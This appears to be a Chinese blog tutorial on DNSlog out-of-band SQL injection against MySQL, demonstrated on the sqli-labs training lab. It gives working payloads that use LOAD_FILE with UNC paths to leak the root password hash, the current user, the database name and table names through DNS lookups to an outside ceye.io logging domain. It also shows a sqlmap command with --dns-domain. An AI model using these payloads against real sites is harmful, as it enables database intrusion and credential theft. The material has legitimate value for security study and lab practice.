sql注入利用dnslog外带数据快速注入

原理

Dns在域名解析时会留下域名和解析ip的记录,利用这点我们可以使用Dnslog(日志)记录显示我们的注入结果。通过load_file()不仅可以查看本地文件,也可以访问远程共享文件。 ceye.io 及其子域名的查询都会到 服务器 A 上,这时就能够实时地监控域名查询请求了。DNS在解析的时候会留下日志,咱们这个就是读取多级域名的解析日志,来获取信息。简单来说就是把信息放在高级域名中,传递到自己这,然后读取日志,获取信息

在sql注入时为布尔盲注、时间盲注,注入的效率低且线程高容易被waf拦截,又或者是目标站点没有回显,我们在读取文件、执行命令注入等操作时无法明显的确认是否利用成功,这时候就要用到我们的DNSlog注入。如遇到MySql的盲注时,可以利用内置函数load_file()来完成DNSLOG。load_file()不仅能够加载本地文件,同时也能对诸如\www.test.com这样的URL发起请求。

PS:DNSLOG注入需要有两个条件,1.SQL服务器能连接网络;2.开启了LOAD_FILE() 读取文件的函数

准备

mysql读入文件时 首先需要将secure_file_priv的默认值为null ,只需要在my.ini修改secure_file_priv=''

现在mysql就可以读入文件了

拥有一个dnslog 平台

CEYE - Monitor service for security testing

SELECT LOAD_FILE(CONCAT('\\\\',(SELECT password FROM mysql.user WHERE user='root' LIMIT 1),'.mysql.ip.port.b182oj.ceye.io\\abc'));

利用dnslog快速注入sqllabs-less5

payload

?id=-1' union select 1,load_file(concat('\\\\',user(),'.wws6im.ceye.io\\abc')),3--+

在获取 user()时,因为带@符号所以无法转换,可以尝试转为16进制

?id=-1' union select 1,load_file(concat('\\\\',hex(user()),'.wws6im.ceye.io\\abc')),3--+

解码后得到user

?id=-1' union select 1,load_file(concat('\\\\',database(),'.wws6im.ceye.io\\abc')),3--+

得到数据库

http://sqllabs/Less-5/?id=-1' union select 1,load_file(concat('\\\\',hex((select concat(table_name) from information_schema.tables where table_schema="security" limit 0,1)),'.wws6im.ceye.io\\abc')),3--+

得到表

sqlmap+dnslog

本地搭建dns服务器,我选择的是windows server2008

新建正向区域 Lzer0Kx.top

新建 注意这里的ip地址要选择sqlmap的ip地址

测试

新建条件转发器 这里的ip是攻击机也就是kali的ip

测试

sqlmap -u "http://192.168.56.1/Less-8/index.php?id=1" --technique=T --dns-domain "zero.top" --dbs

 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值